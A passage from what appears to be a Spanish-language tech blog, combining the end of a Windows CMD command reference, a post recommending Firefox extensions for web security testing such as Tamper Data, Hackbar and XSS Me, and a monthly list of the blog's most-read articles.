IFMEMBER Is the current user in an NT Workgroup
IPCONFIG Configure IP
k
KILL Remove a program from memory
l
LABEL Edit a disk label
LOCAL Display membership of local groups
LOGEVENT Write text to the NT event viewer
LOGOFF Log a user off
LOGTIME Log the date and time in a file
m
MAPISEND Send email from the command line
MBSAcli Baseline Security Analyzer.
MEM Display memory usage
MD Create new folders•
MKLINK Create a symbolic link (linkd)
MODE Configure a system device
MORE Display output, one screen at a time
MOUNTVOL Manage a volume mount point
MOVE Move files from one folder to another•
MOVEUSER Move a user from one domain to another
MSG Send a message
MSIEXEC Microsoft Windows Installer
MSINFO Windows NT diagnostics
MSTSC Terminal Server Connection (Remote Desktop Protocol)
MUNGE Find and Replace text within file(s)
MV Copy in-use files
n
NET Manage network resources
NETDOM Domain Manager
NETSH Configure Network Interfaces, Windows Firewall & Remote access
NETSVC Command-line Service Controller
NBTSTAT Display networking statistics (NetBIOS over TCP/IP)
NETSTAT Display networking statistics (TCP/IP)
NOW Display the current Date and Time
NSLOOKUP Name server lookup
NTBACKUP Backup folders to tape
NTRIGHTS Edit user account rights
p
PATH Display or set a search path for executable files•
PATHPING Trace route plus network latency and packet loss
PAUSE Suspend processing of a batch file and display a message•
PERMS Show permissions for a user
PERFMON Performance Monitor
PING Test a network connection
POPD Restore the previous value of the current directory saved by PUSHD•
PORTQRY Display the status of ports and services
POWERCFG Configure power settings
PRINT Print a text file
PRNCNFG Display, configure or rename a printer
PRNMNGR Add, delete, list printers set the default printer
PROMPT Change the command prompt•
PsExec Execute process remotely
PsFile Show files opened remotely
PsGetSid Display the SID of a computer or a user
PsInfo List information about a system
PsKill Kill processes by name or process ID
PsList List detailed information about processes
PsLoggedOn Who's logged on (locally or via resource sharing)
PsLogList Event log records
PsPasswd Change account password
PsService View and control services
PsShutdown Shutdown or reboot a computer
PsSuspend Suspend processes
PUSHD Save and then change the current directory•
q
QGREP Search file(s) for lines that match a given pattern.
r
RASDIAL Manage RAS connections
RASPHONE Manage RAS connections
RECOVER Recover a damaged file from a defective disk.
REG Registry: Read, Set, Export, Delete keys and values
REGEDIT Import or export registry settings
REGSVR32 Register or unregister a DLL
REGINI Change Registry Permissions
REM Record comments (remarks) in a batch file•
REN Rename a file or files•
REPLACE Replace or update one file with another
RD Delete folder(s)•
RMTSHARE Share a folder or a printer
ROBOCOPY Robust File and Folder Copy
ROUTE Manipulate network routing tables
RUNAS Execute a program under a different user account
RUNDLL32 Run a DLL command (add/remove print connections)
s
SC Service Control
SCHTASKS Schedule a command to run at a specific time
SCLIST Display NT Services
SET Display, set, or remove environment variables•
SETLOCAL Control the visibility of environment variables•
SETX Set environment variables permanently
SFC System File Checker
SHARE List or edit a file share or print share
SHIFT Shift the position of replaceable parameters in a batch file•
SHORTCUT Create a windows shortcut (.LNK file)
SHOWGRPS List the NT Workgroups a user has joined
SHOWMBRS List the Users who are members of a Workgroup
SHUTDOWN Shutdown the computer
SLEEP Wait for x seconds
SLMGR Software Licensing Management (Vista/2008)
SOON Schedule a command to run in the near future
SORT Sort input
START Start a program or command in a separate window•
SU Switch User
SUBINACL Edit file and folder Permissions, Ownership and Domain
SUBST Associate a path with a drive letter
SYSTEMINFO List system configuration
t
TASKLIST List running applications and services
TASKKILL Remove a running process from memory
TIME Display or set the system time•
TIMEOUT Delay processing of a batch file
TITLE Set the window title for a CMD.EXE session•
TLIST Task list with full path
TOUCH Change file timestamps
TRACERT Trace route to a remote host
TREE Graphical display of folder structure
TYPE Display the contents of a text file•
u
USRSTAT List domain usernames and last login
v
VER Display version information•
VERIFY Verify that files have been saved•
VOL Display a disk label•
w
WHERE Locate and display files in a directory tree
WHOAMI Output the current UserName and domain
WINDIFF Compare the contents of two files or sets of files
WINMSD Windows system diagnostics
WINMSDP Windows system diagnostics II
WMIC WMI Commands
x
XCACLS Change file and folder permissions
XCOPY Copy files and folders
:: Comment / Remark•


Los comandos marcados con • son comandos internos sólo disponibles dentro de la shell CMD. El resto de los comandos (no marcados con •) son comandos externos que pueden usarse dentro de la shell CMD, PowerShell, o directamente desde Inicio > Ejecutar.
Extensiones para hackear con Firefox
Si hay una herramienta útil a la hora de buscar vulnerabilidades web, esa es Firefox y su montaña de extensiones. La verdad es que no necesito de nada más cuando quiero buscar problemas en una web.

Existen decenas o quizás cientos de extensiones dedicadas a la seguridad, muchas con tremenda funcionalidad. Es por eso que se me ocurrió listar las extensiones que utilizo en mi trabajo diario, así ustedes también pueden aprovecharlas. Si tienen extensiones para recomendar, dejen sus comentarios!

Firebug
Firebug no está precisamente destinada a buscar vulnerabilidades (está destinada a desarrolladores web), pero es una de las herramientas que más utilizo. Esta nos permite ver el código de la página de forma ordenada y rápida (código desplegable). Incluye una función que nos permite hallar el código de cualquier parte de la página con un par de clicks.
Esta herramienta también nos permite ver fácilmente código JavaScript, estilos CSS, además de mostrarnos los errores arrojados por scripts que fallan.
Por otro lado, es posible modificar el código de la página y ver cómo se modifica en tiempo real. Realmente un lujo.

Tamper Data
Otro que uso constantemente. Tamper Data nos permite capturar los parámetros HTTP que se envían desde el browser al servidor y modificarlos antes de ser entregados. De esta forma podemos cambiar cosas como User Agent, Cookies, parámeotros post, Referer, etc, antes de que el browser los envíe al servidor.
Gracias a esto podemos ver distintas reacciones de la página a distintos parámetros.

Hackbar
Esta extensión nos proporciona una barra adicional muy útil a la hora de hacer pruebas. En esta barra contamos con herramientas como generadores de código SQL utilizado en pruebas de hacking, generador de texto codificado con String.fromCharCode, codificador HTML, funciones de hashing como MD5, SHA1, codificadores/decodificadores de base64, URL, Hexa, y algunas cosas más.
Es muy útil porque nos ahorra tiempo de escritura y de búsqueda (muchas veces no me acuerdo como es la sintaxis de una dada función, o cómo se codifica una /).

Groundspeed
Utilísima extensión para realizar inyecciones. Groundspeed permite al usuario ver todos los campos de los formularios presentes en la página, mostrando incluso los hidden, e ingresar cualquier parámetro que desee. Gracias a esto podemos eliminar restricciones de largo de los input, o controles JavaScript, osea, eliminar las limitaciones impuestas por la interfaz presentadas al usuario.



Si bien con esos cuatro suele alcanzarme para todo, también tengo instalados otros bastante interesantes y útiles. Estos son:

Live HTTP Headers
Nos permite ver en tiempo real los headers HTTP que se envían y reciben desde los servidores. Es posible aplicar filtros sobre lo que deseamos visualizar y reenviar pedidos.
No lo utilizo demasiado porque Tamper Data puede hacer esto y más.

SQL Inject Me
Como se imaginarán por el nombre, SQL Inject Me nos permite automatizar las pruebas de SQL Injection sobre una página. Con esta extensión seleccionamos los campos del formulario sobre el que queremos hacer pruebas y el programa envia cientos de combinaciones de inyección posibles. Luego nos devuelve una página mostrando con qué combinaciones se tuvo éxito, cuales arrojaron errores y cuales no sirvieron.
Es muy útil para hacer pruebas rápidas, pero como siempre digo, los test SQL Injection y XSS son casi un arte, las herramientas automatizadas no suelen arrojarme buenos resultados.

XSS Me
El equivalente de SQL Inject Me, pero para hacer pruebas de XSS. Al igual que SQL Inject Me nos permite seleccionar formularios y enviar distintos test para luego arrojarnos una página con información sobre lo encontrado.


Existe un proyecto interesante denominado FireCAT (Firefox Catalog of Auditing exTension) que se encarga de armar un mapa mental con las extensiones conocidas para realizar auditorías de seguridad. La gente de este proyecto provee un gráfico (pdf) con los nombres de las extensiones y su relación con los aspectos de seguridad.

Help Net Security publicó hace un tiempo su top 5 de extensiones de firefox dedicadas a la seguridad, ahí fue que conocí Groundspeed. Si quieren pueden hecharle un vistazo a la lista, aunque no mencionan ninguno que no haya sugerido en este post =)
Lo más leido en febrero
Arrancamos un nuevo mes así que toca hacer un nuevo resumen mensual con lo más leído. Durante febrero estuve de vacaciones así que se redujo un poco la cantidad de artículos, pero igualmente creo que logré armar un par de artículos importantes. Además, gracias a que ahora incorporé a emilio como bloggero, espero que la cantidad de artículos se incremente.
En febrero parece que todos estuvieron ocupados o de vacaciones, porque se redujo un poco la cantidad de visitas. Espero que este mes remonte bastante =)
El top del mes se lo llevan los artículos de XSS, tema al cual le estuve dedicando bastante tiempo en los últimos meses.
A continuación les dejo el clásico top 5:

1. Rompiendo a lo grande: XSS avanzado. El tema XSS está más presente que nunca, aparece por todos lados, no hay página que revise que no tengo algún problema de este estilo. En este artículo se muestran algunos ataques avanzados que se pueden realizar utilizando XSS.

2. Cruzando información, Cross-Site Scripting (XSS). Qué puedo decir que no haya dicho en otros post, sin dudas el XSS es un tema que atrae y si todavía no sabes cómo funciona, o cómo se utiliza, éste artículo te lo explica.

3. Crear máquina virtual en CentOS usando Xen. Más que clásico entre los más leídos del blog. Espero que este artículo sobre la creación de máquinas virtuales usando Xen y CentOS los ayude a encontrar la mejor forma de virtualizar.

4. Cómo crear un corrector ortográfico. La gran sorpresa del blog, parece que la programación de correctores ortográficos es bastante intrigante y espero que el artículo les resulte interesante.

5. Server TFTP + Actualización IOS. No hay demasiada información en internet (al menos en español) sobre cómo realizar backups o actualizar IOS de sistemas Cisco, así que me alegra ser una fuente de consulta.